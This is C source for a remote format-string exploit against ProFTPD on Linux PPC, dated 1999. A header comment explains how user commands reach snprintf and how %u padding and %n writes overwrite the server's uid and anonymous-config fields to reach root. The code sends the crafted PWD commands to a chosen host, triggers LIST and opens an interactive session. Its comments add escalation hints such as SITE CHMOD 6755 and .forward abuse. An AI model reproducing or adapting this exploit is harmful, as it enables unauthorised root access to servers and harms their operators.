/* PRIVATE Do not distribute PRIVATE oktober 1999 pro-ftpd remote exploit (linux ppc) Bug: Proftpd (<= pre6) passes user commands to snprinft(). snprintf(argv,len,command + host + etc); This makes it possible to insert formatstrings. %n: writes the number of chars written to the location pointed to by it's argument. Stack: [ user argument ] [ other stuff ] [ arguments + stack of the snprintf funtion + subfunctions ] We walk to all that garbage using %u and stop at a certain possition inside the usercommand. At that possition is the address that will be overwritten by %n. Exploit is simple we overwrite the uid and the anonconfig. After a uid change by LIST. We are root :-) Exploit: Linuxppc has a bad char (newline) in the address of session.anonconfig. This is why I overwrite DenyAll inside the config, But this area in memory is allocated and therefore unpredictable on a remote box. This is needed to get write access on the server (within the chroot-env). o Anonymous login: you can overwrite anything in /home/ftp. Getting out of the chroot-enviroment is impossible since proftpd doesn't use external program (to overwrite). hint: use .forward in combination with a suid file. o Local login: instant root by changing permission to suid. hint: SITE CHMOD 6755 (is allowed in proftpd, not in wuftpd) I plugged this exploit in the ftp program, because this program doesn't have data-connection support. Because it's not really needed. I used this bug to get root on linuxppc but they never gave me credit for it. I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals. I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me. Greets to grue, lockdown, DryGrain by lamagra http://lamagra.seKure.de http://penguin.seKure.de */ #include #include #include #include #include #define NUM 150 #define DEFAULT_OFFSET 0 unsigned long resolve(char *); void usage(char *); void wait_msg(int); void ftplogin(int, char *, char *); void shell(int); extern char *optarg; extern int optind; void main(int argc, char **argv) { struct sockaddr_in addr; int sockfd,i; long port=21,*addrptr; char c, name[100],pass[100],buf[1024]; /* SET DEFAULTS */ strcpy(name,"ftp"); strcpy(pass,"h@ck.er"); while((c = getopt(argc,argv,"hn:p:c:")) != EOF) { switch(c) { case 'h': usage(argv[0]); case 'n': strncpy(name,optarg,100); break; case 'p': strncpy(pass,optarg,100); break; case 'c': port = atol(optarg); } } if((argc - optind) != 1) usage(argv[0]); bzero(&addr, sizeof(struct sockaddr_in)); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = resolve(argv[optind++]); printf("Connecting....."); if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1) { printf("failed\n"); perror("socket"); exit(-1); } if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { printf("failed\n"); perror("connect"); exit(-1); } #ifdef DEBUG sockfd = fileno(stdout); #endif wait_msg(sockfd); printf("success\n"); printf("Logging in <%s>:<%s>\n",name,pass); ftplogin(sockfd,name,pass); strcpy(buf,"PWD aaaa"); /* Overwrite config to allow writing * 0x0187e608: session.anon_config, bad char in 0x0187e60a * DenyAll is at 0x1885f01 on the box i used for testing * It just fucks up the string -> DenyAll isn't found -> default is AllowAll */ buf[8] = 0x01; buf[9] = 0x88; buf[10] = 0x5f; buf[11] = 0x01; /* session.disable_idswithing is at 0x187e5ca */ buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xca; /* Ugly, Ugly / didn't feel like counting :-) */ strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM); strcpy(buf+16+NUM,"%n%n\r\n"); write(sockfd,buf,strlen(buf)); sleep(1); /* 0x0187e5cc: session.uid*/ buf[8] = 0x01; buf[9] = 0x87; buf[10] = 0xe5; buf[11] = 0xcc; buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xce; write(sockfd,buf,strlen(buf)); /* 0x187e5d0: session.ouid */ buf[8] = 0x01; buf[9] = 0x87; buf[10] = 0xe5; buf[11] = 0xd0; buf[12] = 0x01; buf[13] = 0x87; buf[14] = 0xe5; buf[15] = 0xd2; write(sockfd,buf,strlen(buf)); /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */ write(sockfd,"LIST\r\n",6); /* LIST returns error "No data connection" */ do { read(sockfd,buf,sizeof(buf)); } while(strstr(buf,"connection") == NULL); printf("Opening shell-connection\n"); shell(sockfd); printf("THE END\n"); close(sockfd); } void shell(int sockfd) { char buf[1024]; fd_set set; int len; while(1) { FD_SET(fileno(stdin),&set); FD_SET(sockfd,&set); select(sockfd+1,&set,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&set)) { memset(buf,NULL,1024); fgets(buf,1024,stdin); write(sockfd,buf,strlen(buf)); } if(FD_ISSET(sockfd,&set)) { memset(buf,NULL,1024); if((len = read(sockfd,buf,1024)) == 0) { printf("EOF.\n"); exit(-1); } if(len == -1) { perror("read"); exit(-1); } puts(buf); } } } void ftplogin(int sockfd, char *user,char *passwd) { char send[500]; memset(send,NULL,500); snprintf(send,500,"USER %s\r\n",user); write(sockfd,send,strlen(send)); wait_msg(sockfd); memset(send,NULL,500); snprintf(send,500,"PASS %s\r\n",passwd); write(sockfd,send,strlen(send)); wait_msg(sockfd); return; } void wait_msg(int sockfd) { char c; while(read(sockfd,(char *)&c,sizeof(char)) > 0) { if(c == '\n') break; } } unsigned long resolve(char *hostname) { struct hostent *hp; unsigned long ip; if((ip = inet_addr(hostname)) == -1) { if((hp = gethostbyname(hostname)) == NULL) { printf("Can't resolve hostname <%s>.\n",hostname); exit(-1); } memcpy(&ip,hp->h_addr,4); } return ip; } void usage(char *name) { printf("Usage: %s [-n name] [-p pass] [-c port]\n",name); exit(-1); } /* www.hack.co.za [23 Feb 2000]*/